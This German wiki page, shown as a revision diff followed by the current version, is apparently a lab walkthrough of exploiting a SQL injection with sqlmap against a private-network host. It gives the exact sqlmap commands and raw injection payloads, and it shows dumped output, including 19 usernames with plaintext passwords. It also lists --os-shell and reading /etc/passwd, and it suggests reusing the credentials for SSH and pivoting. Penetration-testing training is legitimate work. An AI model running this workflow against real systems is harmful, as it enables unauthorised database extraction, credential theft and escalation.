SQLmap Workflow: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(2 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 37: Zeile 37:
 
== Tabellen in der Datenbank 'tuxmen' auflisten ==
 
== Tabellen in der Datenbank 'tuxmen' auflisten ==
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables'''
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables'''
* Erkenntnis: Auflistung der Tabellen in der Datenbank '''tuxmen'''.
+
=== Erkenntnisblock ===
* Schlussfolgerung: Diese Tabellen sind für die Exfiltration interessant.
+
<pre>
 +
Database: tuxmen
 +
[1 table]
 +
+-------------+
 +
| mitarbeiter |
 +
+-------------+
 +
</pre>
 +
* Erkenntnis: Die Datenbank '''tuxmen''' enthält die Tabelle '''mitarbeiter'''.
 +
* Schlussfolgerung: Diese Tabelle ist für die Exfiltration interessant und wird im nächsten Schritt weiter untersucht.
  
== Spalten in einer Tabelle auflisten ==
+
== Spalten in der Tabelle 'mitarbeiter' auflisten ==
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns'''
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns'''
* Erkenntnis: Spaltennamen sichtbar, z. B. '''id''', '''name''', '''rolle'''.
+
=== Erkenntnisblock ===
 +
<pre>
 +
Database: tuxmen
 +
Table: mitarbeiter
 +
[4 columns]
 +
+----------+--------------+
 +
| Column  | Type        |
 +
+----------+--------------+
 +
| fullname | varchar(128) |
 +
| id      | int(11)      |
 +
| password | varchar(128) |
 +
| username | varchar(64)  |
 +
+----------+--------------+
 +
</pre>
 +
* Erkenntnis: Die Tabelle '''mitarbeiter''' enthält die Spalten '''id''', '''username''', '''password''' und '''fullname'''.
 +
* Schlussfolgerung: Besonders interessant für die Exfiltration sind die Spalten '''username''' und '''password'''.
  
 
== Daten exfiltrieren ==
 
== Daten exfiltrieren ==
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C name,rolle --dump'''
+
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C username,password --dump'''
* Erkenntnis: Exfiltration von Benutzerdaten (Name/Rolle) im Klartext.
+
=== Erkenntnisblock ===
 +
<pre>
 +
Database: tuxmen
 +
Table: mitarbeiter
 +
[19 entries]
 +
+------------+-------------+
 +
| username  | password    |
 +
+------------+-------------+
 +
| hans      | 1234        |
 +
| ingo      | abc123      |
 +
| backupuser | B@ckup#2024 |
 +
| carla      | dragon      |
 +
| erwin      | geheim      |
 +
| petra      | Hallo123    |
 +
| steffi    | iloveyou    |
 +
| intern    | Int3rn!    |
 +
| mario      | letmein    |
 +
| thomas    | monkey      |
 +
| quba      | passw0rd    |
 +
| julia      | password1  |
 +
| alex      | qwerty      |
 +
| martina    | Sommer2024! |
 +
| service01  | Srv!cePass  |
 +
| sabine    | sunshine    |
 +
| sven      | test123    |
 +
| webapp    | Web@pp123  |
 +
| frank      | welcome    |
 +
+------------+-------------+
 +
</pre>
 +
* Erkenntnis: Über die SQL-Injection konnten Benutzerkonten samt Klartext-Passwörtern aus der Tabelle '''tuxmen.mitarbeiter''' exfiltriert werden.
 +
* Schlussfolgerung: Es liegen kritische Anmeldeinformationen im Klartext in der Datenbank vor. Diese können für weitere Angriffe (z. B. Web-Login, SSH, Pivoting) genutzt werden.
  
 
== Optionale Möglichkeiten ==
 
== Optionale Möglichkeiten ==

Aktuelle Version vom 15. September 2025, 17:43 Uhr

SQLmap Workflow

Einleitung

SQLmap automatisiert die Ausnutzung von SQL-Injection-Schwachstellen. Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.

Test auf Verwundbarkeit

Erkenntnisblock

[13:13:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

Gefundene Verwundbarkeiten

Parameter Technik Beschreibung Beispiel-Payload
username (POST) Boolean-based blind Antwort ändert sich abhängig von TRUE/FALSE username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--
username (POST) Error-based Erzwingt DB-Fehler und leakt Infos username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)
username (POST) Time-based blind Antwortzeit verzögert durch SLEEP() username=test' AND (SELECT SLEEP(5))--

Version und Banner auslesen

Datenbanken auflisten

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs
  • Erkenntnis: Es wurden zwei Datenbanken gefunden: information_schema und tuxmen.
  • Bewertung: information_schema ist eine Systemdatenbank. Fokus liegt auf tuxmen.

Tabellen in der Datenbank 'tuxmen' auflisten

Erkenntnisblock

Database: tuxmen
[1 table]
+-------------+
| mitarbeiter |
+-------------+
  • Erkenntnis: Die Datenbank tuxmen enthält die Tabelle mitarbeiter.
  • Schlussfolgerung: Diese Tabelle ist für die Exfiltration interessant und wird im nächsten Schritt weiter untersucht.

Spalten in der Tabelle 'mitarbeiter' auflisten

Erkenntnisblock

Database: tuxmen
Table: mitarbeiter
[4 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| fullname | varchar(128) |
| id       | int(11)      |
| password | varchar(128) |
| username | varchar(64)  |
+----------+--------------+
  • Erkenntnis: Die Tabelle mitarbeiter enthält die Spalten id, username, password und fullname.
  • Schlussfolgerung: Besonders interessant für die Exfiltration sind die Spalten username und password.

Daten exfiltrieren

Erkenntnisblock

Database: tuxmen
Table: mitarbeiter
[19 entries]
+------------+-------------+
| username   | password    |
+------------+-------------+
| hans       | 1234        |
| ingo       | abc123      |
| backupuser | B@ckup#2024 |
| carla      | dragon      |
| erwin      | geheim      |
| petra      | Hallo123    |
| steffi     | iloveyou    |
| intern     | Int3rn!     |
| mario      | letmein     |
| thomas     | monkey      |
| quba       | passw0rd    |
| julia      | password1   |
| alex       | qwerty      |
| martina    | Sommer2024! |
| service01  | Srv!cePass  |
| sabine     | sunshine    |
| sven       | test123     |
| webapp     | Web@pp123   |
| frank      | welcome     |
+------------+-------------+
  • Erkenntnis: Über die SQL-Injection konnten Benutzerkonten samt Klartext-Passwörtern aus der Tabelle tuxmen.mitarbeiter exfiltriert werden.
  • Schlussfolgerung: Es liegen kritische Anmeldeinformationen im Klartext in der Datenbank vor. Diese können für weitere Angriffe (z. B. Web-Login, SSH, Pivoting) genutzt werden.

Optionale Möglichkeiten

  • --os-shell → Versuch, Betriebssystembefehle auszuführen
  • --file-read=/etc/passwd → Datei auf dem Server auslesen
  • Erkenntnis: Eskalation möglich, wenn DB-User ausreichende Rechte hat.

Fazit

SQLmap liefert einen strukturierten Weg: Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte. Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.